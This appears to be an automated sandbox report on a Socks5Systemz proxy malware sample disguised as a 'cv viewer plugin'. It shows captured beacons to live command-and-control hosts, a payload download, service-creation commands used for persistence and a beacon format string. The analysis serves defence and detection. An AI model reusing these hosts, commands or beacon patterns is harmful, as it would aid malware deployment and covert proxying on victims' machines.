Aug 31, 2024 22:14:25.570882082 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:26.270853996 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.9	49787	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:26.398819923 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:27.088766098 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.9	49788	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:27.225629091 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:27.915329933 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.9	49789	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:28.038341999 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:28.734129906 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.9	49790	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:28.868818045 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:29.555881977 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.9	49791	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:29.679579973 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:30.371910095 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.9	49793	89.105.201.183	2023	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:30.452843904 CEST	57	IN	GET /rand HTTP/1.1 Host: 31.214.157.226 Accept: /
Aug 31, 2024 22:14:31.176543951 CEST	765	OUT	HTTP/1.1 200 OK Server: nginx/1.27.0 Date: Sat, 31 Aug 2024 20:14:30 GMT Content-Type: application/octet-stream Content-Length: 512 Last-Modified: Fri, 02 Aug 2024 10:35:15 GMT Connection: keep-alive ETag: "66acb663-200" Accept-Ranges: bytes Data Raw: f1 d9 4a c0 19 06 38 38 48 c8 13 c0 87 51 f2 f6 75 36 43 c2 e3 fa 93 12 84 52 27 0c 74 f3 3f 7b e6 68 bd 72 0f b9 ba f4 04 75 87 9a 2e 05 41 d3 9c 5b e6 06 f0 00 03 b1 2c 26 44 dc 44 f5 b3 c0 dd 7e d5 70 91 45 b4 d6 f4 b4 71 5a 81 01 c7 f2 0a 08 3c ac 68 a3 22 3d 5d 0c a5 e0 12 93 b0 14 47 cd 04 b4 76 ea e3 95 b5 54 68 dd 23 61 5a 4a 1a 76 2e b2 56 cb f2 36 d1 05 a7 20 b4 f0 3b 4b e0 24 d1 25 17 bd 14 c9 dd 2a 87 bf 43 72 20 1f d3 ce da e1 e1 b2 f8 99 41 20 3f 24 3d 5c fa b4 56 58 ca 18 c4 62 e3 9c 08 42 cc d3 ad f6 8d e1 cb a3 85 0b 7a c6 65 20 20 35 19 3f d2 15 39 19 f8 97 c4 b0 97 85 bd b6 ab c3 e4 1c 42 d5 c9 29 2f 06 c0 02 25 f6 36 47 8e a1 8b 2b ad 23 57 4a 60 ca 77 d1 2d d7 21 77 3f 19 61 8e 6f 9d 25 b8 df 3f 0f b6 fb 20 82 d5 b8 c6 d2 09 7b 71 96 bc 5c 77 99 99 0f 85 fd 3e 87 8e 65 91 93 85 3c 55 36 bb 60 63 68 83 b4 73 2c 24 5e 42 fa 80 67 a0 3d a9 ae de 9d 83 e1 db 0d 30 a4 34 3e 72 0f 57 7c 02 1c 80 19 27 73 20 af c1 56 32 02 11 e6 97 33 12 65 cf 2a e4 58 c4 30 f1 3b 08 fa f5 37 62 1a d0 [TRUNCATED] Data Ascii: J88HQu6CR't?{hru.A[,&DD~pEqZ<h"=]GvTh#aZJv.V6 ;K$%Cr A ?$=\VXbBze 5?9B)/%6G+#WJ`w-!w?ao%? {q\w>e<U6`chs,$^Bg=04>rW\|'s V23eX0;7bRQmDPX=`exE.{u"}Nb@8;;^K"<U %[yrRwwQgPKpD=NDSJR&D9rvJ$zM/v"0mcdzKhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.9	49792	31.214.157.226	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:30.452990055 CEST	57	OUT	GET /rand HTTP/1.1 Host: 31.214.157.226 Accept: /
Aug 31, 2024 22:14:30.625307083 CEST	765	IN	HTTP/1.1 200 OK Server: nginx/1.27.0 Date: Sat, 31 Aug 2024 20:14:30 GMT Content-Type: application/octet-stream Content-Length: 512 Last-Modified: Fri, 02 Aug 2024 10:35:15 GMT Connection: keep-alive ETag: "66acb663-200" Accept-Ranges: bytes Data Raw: f1 d9 4a c0 19 06 38 38 48 c8 13 c0 87 51 f2 f6 75 36 43 c2 e3 fa 93 12 84 52 27 0c 74 f3 3f 7b e6 68 bd 72 0f b9 ba f4 04 75 87 9a 2e 05 41 d3 9c 5b e6 06 f0 00 03 b1 2c 26 44 dc 44 f5 b3 c0 dd 7e d5 70 91 45 b4 d6 f4 b4 71 5a 81 01 c7 f2 0a 08 3c ac 68 a3 22 3d 5d 0c a5 e0 12 93 b0 14 47 cd 04 b4 76 ea e3 95 b5 54 68 dd 23 61 5a 4a 1a 76 2e b2 56 cb f2 36 d1 05 a7 20 b4 f0 3b 4b e0 24 d1 25 17 bd 14 c9 dd 2a 87 bf 43 72 20 1f d3 ce da e1 e1 b2 f8 99 41 20 3f 24 3d 5c fa b4 56 58 ca 18 c4 62 e3 9c 08 42 cc d3 ad f6 8d e1 cb a3 85 0b 7a c6 65 20 20 35 19 3f d2 15 39 19 f8 97 c4 b0 97 85 bd b6 ab c3 e4 1c 42 d5 c9 29 2f 06 c0 02 25 f6 36 47 8e a1 8b 2b ad 23 57 4a 60 ca 77 d1 2d d7 21 77 3f 19 61 8e 6f 9d 25 b8 df 3f 0f b6 fb 20 82 d5 b8 c6 d2 09 7b 71 96 bc 5c 77 99 99 0f 85 fd 3e 87 8e 65 91 93 85 3c 55 36 bb 60 63 68 83 b4 73 2c 24 5e 42 fa 80 67 a0 3d a9 ae de 9d 83 e1 db 0d 30 a4 34 3e 72 0f 57 7c 02 1c 80 19 27 73 20 af c1 56 32 02 11 e6 97 33 12 65 cf 2a e4 58 c4 30 f1 3b 08 fa f5 37 62 1a d0 [TRUNCATED] Data Ascii: J88HQu6CR't?{hru.A[,&DD~pEqZ<h"=]GvTh#aZJv.V6 ;K$%Cr A ?$=\VXbBze 5?9B)/%6G+#WJ`w-!w?ao%? {q\w>e<U6`chs,$^Bg=04>rW\|'s V23eX0;7bRQmDPX=`exE.{u"}Nb@8;;^K"<U %[yrRwwQgPKpD=NDSJR&D9rvJ$zM/v"0mcdzKhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.9	49794	185.196.8.214	80	7320	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:14:30.508012056 CEST	323	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86ec96834e835a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b410e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c5ee969f39cd68 HTTP/1.1 Host: dddlhyt.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 31, 2024 22:14:31.214618921 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 31 Aug 2024 20:14:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Target ID:	0
Start time:	16:12:24
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe" >> C:\servicereg.log 2>&1
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:12:24
Start date:	31/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:12:25
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc create zuYSo binpath= "C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe"
Imagebase:	0xe30000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:12:26
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c sc start zuYSo >> C:\servicestart.log 2>&1
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:12:26
Start date:	31/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:12:26
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc start zuYSo
Imagebase:	0xe30000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:12:26
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\cv viewer plugin 8.31.40.exe"
Imagebase:	0x400000
File size:	3'665'662 bytes
MD5 hash:	CC497003E60667B5E3A13548EBB571FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000007.00000002.2645068946.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	84.6%
Signature Coverage:	7.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	39

Executed Functions

Function 016A6487 Relevance: 82.5, APIs: 42, Strings: 5, Instructions: 228
memorysleeplibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitializeCriticalSection.NTDLL(016D71E0), ref: 016A64B6
GetModuleHandleA.KERNEL32(ntdll.dll,sprintf), ref: 016A64CD
GetProcAddress.KERNEL32(00000000), ref: 016A64D6
GetModuleHandleA.KERNEL32(ntdll.dll,strcat), ref: 016A64E5
GetProcAddress.KERNEL32(00000000), ref: 016A64E8
GetTickCount.KERNEL32 ref: 016A64F4

Part of subcall function 016A605A: _malloc.LIBCMT ref: 016A6068

GetVersionExA.KERNEL32(016D7038), ref: 016A6521
_memset.LIBCMT ref: 016A6540
_malloc.LIBCMT ref: 016A654D

Part of subcall function 016B2FAC: __FF_MSGBANNER.LIBCMT ref: 016B2FC3
Part of subcall function 016B2FAC: __NMSG_WRITE.LIBCMT ref: 016B2FCA
Part of subcall function 016B2FAC: RtlAllocateHeap.NTDLL(00AA0000,00000000,00000001), ref: 016B2FEF

_malloc.LIBCMT ref: 016A655D
_malloc.LIBCMT ref: 016A6568
_malloc.LIBCMT ref: 016A6573
_malloc.LIBCMT ref: 016A657E
_malloc.LIBCMT ref: 016A6589
_malloc.LIBCMT ref: 016A6594
_malloc.LIBCMT ref: 016A65A3
GetProcessHeap.KERNEL32(00000000,00000004), ref: 016A65BA
RtlAllocateHeap.NTDLL(00000000), ref: 016A65C3
GetProcessHeap.KERNEL32(00000000,00000400), ref: 016A65D2
RtlAllocateHeap.NTDLL(00000000), ref: 016A65D5
GetProcessHeap.KERNEL32(00000000,00000400), ref: 016A65E0
RtlAllocateHeap.NTDLL(00000000), ref: 016A65E3
_memset.LIBCMT ref: 016A65F6
_memset.LIBCMT ref: 016A6602
_memset.LIBCMT ref: 016A660F
RtlEnterCriticalSection.NTDLL(016D71E0), ref: 016A661D
RtlLeaveCriticalSection.NTDLL(016D71E0), ref: 016A662A
_malloc.LIBCMT ref: 016A664E
_malloc.LIBCMT ref: 016A665C
_malloc.LIBCMT ref: 016A6663
_malloc.LIBCMT ref: 016A6689
QueryPerformanceCounter.KERNEL32(00000200), ref: 016A669C
Sleep.KERNELBASE ref: 016A66AA
_malloc.LIBCMT ref: 016A66B6
_malloc.LIBCMT ref: 016A66C3
_memset.LIBCMT ref: 016A66D8
_memset.LIBCMT ref: 016A66E8
Sleep.KERNELBASE(0000EA60), ref: 016A6704
RtlEnterCriticalSection.NTDLL(016D71E0), ref: 016A670F
RtlLeaveCriticalSection.NTDLL(016D71E0), ref: 016A6720
_memset.LIBCMT ref: 016A6775
_memset.LIBCMT ref: 016A6784

Strings

cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d, xrefs: 016A666B
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 016A6735
strcat, xrefs: 016A64D8
ntdll.dll, xrefs: 016A64C2, 016A64CC, 016A64DD
sprintf, xrefs: 016A64C7

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: _malloc$_memset$Heap$CriticalSection$Allocate$Process$AddressEnterHandleLeaveModuleProcSleep$CountCounterInitializePerformanceQueryTickVersion
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d$ntdll.dll$sprintf$strcat
API String ID: 2251652938-2678694477
Opcode ID: 8bb8ebbe3da68e79535ab094c31bc29a28d420230f85810e9a58381d2b79dc08
Instruction ID: 695cc6af186b894ed908cf7cb690f2bf56e2135c8d1d346610f9991ccaeeb4c5
Opcode Fuzzy Hash: 8bb8ebbe3da68e79535ab094c31bc29a28d420230f85810e9a58381d2b79dc08
Instruction Fuzzy Hash: 2371F2B1D48340AFD3206F749C88B6B7BE9EF95710F04082EF98597291DBB49840CF9A

Function 00401B4B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(iphlpapi.dll), ref: 00401B5D
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 00401B74
GetAdaptersInfo.IPHLPAPI(?,00000400), ref: 00401B9D
FreeLibrary.KERNEL32(00401A3E), ref: 00401C1B

Strings

GetAdaptersInfo, xrefs: 00401B6E
iphlpapi.dll, xrefs: 00401B58
o, xrefs: 00401BF2

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll$o
API String ID: 514930453-3667123677
Opcode ID: b984b7dde6bf878e61bd9d6389ae28c16a21e2d2acce5cac07de2378b9438879
Instruction ID: 38440359ad4724572ca0372a4bc8090c683b298b5ffde01d95b1867a6a9b844d
Opcode Fuzzy Hash: b984b7dde6bf878e61bd9d6389ae28c16a21e2d2acce5cac07de2378b9438879
Instruction Fuzzy Hash: F921B870904109AFEF119F65C9447EF7BB8EF41344F1440BAD504B22E1E7789985CB69

Function 00401F64 Relevance: 12.1, APIs: 8, Instructions: 121
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(?,0000000A), ref: 00401F7A
GetLastError.KERNEL32 ref: 00401F86
SizeofResource.KERNEL32(00000000), ref: 00401F93
LoadResource.KERNEL32(00000000), ref: 00401FAD
LockResource.KERNEL32(00000000), ref: 00401FB4
GlobalAlloc.KERNELBASE(00000040,00000000), ref: 00401FBF
GetTickCount.KERNEL32 ref: 00401FFB
GlobalAlloc.KERNELBASE(00000040,?), ref: 00402061

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: Resource$AllocGlobal$CountErrorFindLastLoadLockSizeofTick
String ID:
API String ID: 564119183-0
Opcode ID: cf410bcafb83c3e7ab838bb09d8b52e2eecc876fdde86efd7a07cb304e42b138
Instruction ID: 5f40b5bb2c798fd06435bc38b1d437300a77b6e6fc54339f6675bf13ecd45336
Opcode Fuzzy Hash: cf410bcafb83c3e7ab838bb09d8b52e2eecc876fdde86efd7a07cb304e42b138
Instruction Fuzzy Hash: 45314E71A00255AFDB105FB59F8896F7F68EF45344F10807AFE86F7281DA748845C7A8

Function 016AF9A7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 016AF9BD
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 016AF9D6
GetAdaptersInfo.IPHLPAPI(?,?), ref: 016AF9FB
FreeLibrary.KERNEL32(00000000), ref: 016AFA84

Strings

iphlpapi.dll, xrefs: 016AF9B1
GetAdaptersInfo, xrefs: 016AF9D0

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll
API String ID: 514930453-3114217049
Opcode ID: c9ac618ae6cda7b9096a9e27de6a01d2cb30ce71798d9f6638ee1b4c2d05468a
Instruction ID: e582c142a39e5a121d6d805e2819c65ebbb69b767e5a5b2a6fccc78dd4321db4
Opcode Fuzzy Hash: c9ac618ae6cda7b9096a9e27de6a01d2cb30ce71798d9f6638ee1b4c2d05468a
Instruction Fuzzy Hash: 54219175A00209EFDB21CAAD9C94AEEBBB8AF05310F5441E9DA05E7301D7308E45CFA6

Function 016A2B95 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00000000), ref: 016A2BE4
WSARecv.WS2_32(?,?,?,?,?,00000000,00000000), ref: 016A2C07

Part of subcall function 016AA509: WSAGetLastError.WS2_32(00000000,?,?,016A2A51), ref: 016AA517

WSASetLastError.WS2_32 ref: 016A2CD3
select.WS2_32(?,?,00000000,00000000,00000000), ref: 016A2CE7

Strings

3', xrefs: 016A2C85

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ErrorLast$Recvselect
String ID: 3'
API String ID: 886190287-280543908
Opcode ID: d796e8d20f4aec4a0b6b43fac05b14bfda4bf3309a3584bb5bca86fc97c216ee
Instruction ID: 6908f7fbe57fe334ad0b201e42be6724914b3ea57fbed6dd0db7de6d3db9f11d
Opcode Fuzzy Hash: d796e8d20f4aec4a0b6b43fac05b14bfda4bf3309a3584bb5bca86fc97c216ee
Instruction Fuzzy Hash: 4D41BEB15143068FDB20AF68CC643ABBBE9AF98358F500D1EE495C3281EB70D8408F91

Function 016AF8A3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 016AF8C2
DeviceIoControl.KERNELBASE(00000000,002D1400,?,0000000C,?,00000400,?,00000000), ref: 016AF900
GetLastError.KERNEL32 ref: 016AF961
FindCloseChangeNotification.KERNELBASE(?), ref: 016AF998

Strings

\\.\PhysicalDrive0, xrefs: 016AF8BB

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ChangeCloseControlCreateDeviceErrorFileFindLastNotification
String ID: \\.\PhysicalDrive0
API String ID: 3786717961-1180397377
Opcode ID: fb08ec1620ea3971c7e2ecc534fbccd14e5c6f11cb152b9d7bc34a2d6098a12f
Instruction ID: f4ea6f50e1714d678068e3e73aa62e81c62884c3878329c8a385a56286629756
Opcode Fuzzy Hash: fb08ec1620ea3971c7e2ecc534fbccd14e5c6f11cb152b9d7bc34a2d6098a12f
Instruction Fuzzy Hash: 53319E75E0021ABBDB24CF99DC84ABEBBB9EF05750F6041ADE514A7280DB705E00CF95

Function 00401A4F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 00401A6B
DeviceIoControl.KERNELBASE(?,002D1400,?,0000000C,?,00000400,00000400,00000000), ref: 00401AB2
GetLastError.KERNEL32 ref: 00401B0E
FindCloseChangeNotification.KERNELBASE(?), ref: 00401B3D

Strings

\\.\PhysicalDrive0, xrefs: 00401A63

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: ChangeCloseControlCreateDeviceErrorFileFindLastNotification
String ID: \\.\PhysicalDrive0
API String ID: 3786717961-1180397377
Opcode ID: 3afb43cc3dedd2849d90584800b0b4b1cc754ecdd9339dbac4238ad8ee4012bf
Instruction ID: fc4aaa1cf60edb7db06fdbd05dea25136cd7d186831ecbc7bbbcf924abbffa34
